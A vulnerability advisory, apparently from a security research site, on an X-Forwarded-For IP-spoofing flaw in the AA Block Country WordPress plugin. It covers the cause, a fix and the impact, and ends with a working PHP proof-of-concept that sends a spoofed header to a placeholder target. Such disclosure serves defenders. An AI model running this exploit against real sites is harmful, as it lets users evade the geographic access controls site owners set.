Atomic Edge analysis of CVE-2025-13694 (metadata-based): The AA Block Country plugin for WordPress, versions up to and including 1.0.1, contains an unauthenticated IP address spoofing vulnerability. This flaw allows attackers to bypass the plugin’s country-based access restrictions by manipulating the HTTP X-Forwarded-For header.
Atomic Edge research identifies the root cause as CWE-348, Use of a Less Trusted Source. The plugin’s IP determination logic likely uses the `$_SERVER[‘HTTP_X_FORWARDED_FOR’]` variable without validation. This variable is user-controlled and should not be trusted unless the server is explicitly configured behind a trusted proxy. The vulnerability description confirms this pattern. Without access to the source code, Atomic Edge infers the plugin directly uses this header value for geolocation or blocklist checks, a common misimplementation in WordPress plugins.
Exploitation is straightforward. An unauthenticated attacker sends any HTTP request to the WordPress site with a spoofed X-Forwarded-For header. The header value should contain an IP address from a country not blocked by the plugin’s configuration. For example, if the plugin blocks requests from a specific country, an attacker from that region can set `X-Forwarded-For: 8.8.8.8` (a US IP) to bypass the restriction. No specific endpoint or action parameter is required. The attack vector works against any page or endpoint where the plugin’s IP checking logic is active, such as the frontend or admin areas.
Effective remediation requires the plugin to stop using untrusted HTTP headers for IP determination. The fix should use the server’s remote address variable (`$_SERVER[‘REMOTE_ADDR’]`) as the primary source. If proxy support is necessary, the plugin must implement an explicit configuration option for administrators to define trusted proxy IPs. The code should then validate the X-Forwarded-For header chain only when a request originates from a configured, trusted proxy server.
The impact of this vulnerability is moderate. Successful exploitation allows an attacker to circumvent the plugin’s intended geographic access controls. This could permit access from blocked regions to content intended for a restricted audience. The vulnerability does not directly lead to data exposure, privilege escalation, or site compromise. It undermines the security policy enforced by the IP blocking feature.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13694 - AA Block country <= 1.0.1 - Unauthenticated IP Address Spoofing via X-Forwarded-For Header
<?php
$target_url = 'http://target-site.com/'; // CHANGE THIS to the target WordPress site URL
// The exploit works by spoofing the client's IP address via the X-Forwarded-For header.
// This PoC assumes the target site uses the AA Block Country plugin to block requests from a specific country.
// The attacker's real IP address would be blocked. By setting X-Forwarded-For to an IP from an allowed country, the block is bypassed.
$ch = curl_init();
// Use a common US IP address as the spoofed value. This IP should be from a country not blocked by the plugin.
$spoofed_ip = '8.8.8.8';
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true, // Capture response headers for verification
CURLOPT_HTTPHEADER => [
"X-Forwarded-For: $spoofed_ip", // The malicious header that exploits the vulnerability
"User-Agent: Atomic Edge PoC"
],
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 10,
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analysis of the result
if ($http_code == 200) {
// A 200 OK status suggests the page loaded successfully.
// If the site blocks the attacker's real country, a successful load may indicate the spoof worked.
// However, a 200 could also mean the page is not blocked for any IP.
echo "[+] Request completed with HTTP 200. The spoofed IP ($spoofed_ip) may have bypassed a block.n";
echo "[!] Manual verification required: Compare this response to one sent without the X-Forwarded-For header.n";
} else if ($http_code == 403 || $http_code == 451) {
// Common block status codes.
echo "[-] Request returned HTTP $http_code. The spoof may have failed or the block is based on another mechanism.n";
} else {
echo "[?] Request returned HTTP $http_code. Further investigation needed.n";
}
?>
